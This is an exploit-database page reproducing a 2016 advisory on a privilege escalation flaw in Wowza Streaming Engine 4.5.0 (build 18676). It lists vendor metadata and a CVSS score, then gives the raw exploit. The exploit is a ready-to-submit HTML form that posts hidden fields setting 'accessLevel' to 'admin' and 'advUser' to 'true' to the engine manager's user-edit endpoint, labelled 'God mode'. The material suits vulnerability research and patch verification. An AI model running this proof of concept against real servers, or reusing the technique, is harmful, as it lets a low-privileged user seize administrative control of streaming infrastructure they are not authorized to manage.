Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit

vendor:

Wowza Streaming Engine

by:

Gjoko 'LiquidWorm' Krstic

7,5

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Wowza Streaming Engine

Affected Version From: 4.5.0 (build 18676)

Affected Version To: 4.5.0 (build 18676)

Patch Exists: NO

Related CWE: N/A

CPE: a:wowza_media_systems:wowza_streaming_engine

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Winstone Servlet Engine v1.0.5, Servlet/2.5 (Winstone/1.0.5)

2016

Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit

The application suffers from a privilege escalation issue. Normal user (read-only) can elevate his/her privileges by sending a POST request seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining advanced admin rights.

Mitigation:

Ensure that the application is configured to use the least privilege necessary for the user to perform their job.

Source

Exploit-DB raw data:

<!--
Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.

Advanced Admin:
 Allow access to advanced properties and features
 Only for expert Wowza Streaming Engine users.

Tested on: Winstone Servlet Engine v1.0.5
           Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php


03.07.2016

--


Privilege escalation from existing read-only user to admin(advanced):
-->

<html>
  <body>
    <form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
      <input type="hidden" name="version" value="0" />
      <input type="hidden" name="action" value="quickEdit" />
      <input type="hidden" name="userName" value="usermuser" />
      <input type="hidden" name="userPassword" value="" />
      <input type="hidden" name="userPassword2" value="" />
      <input type="hidden" name="accessLevel" value="admin" />
      <input type="hidden" name="advUser" value="true" />
      <input type="hidden" name="&#95;advUser" value="on" />
      <input type="hidden" name="ignoreWarnings" value="false" />
      <input type="submit" value="God mode" />
    </form>
  </body>
</html>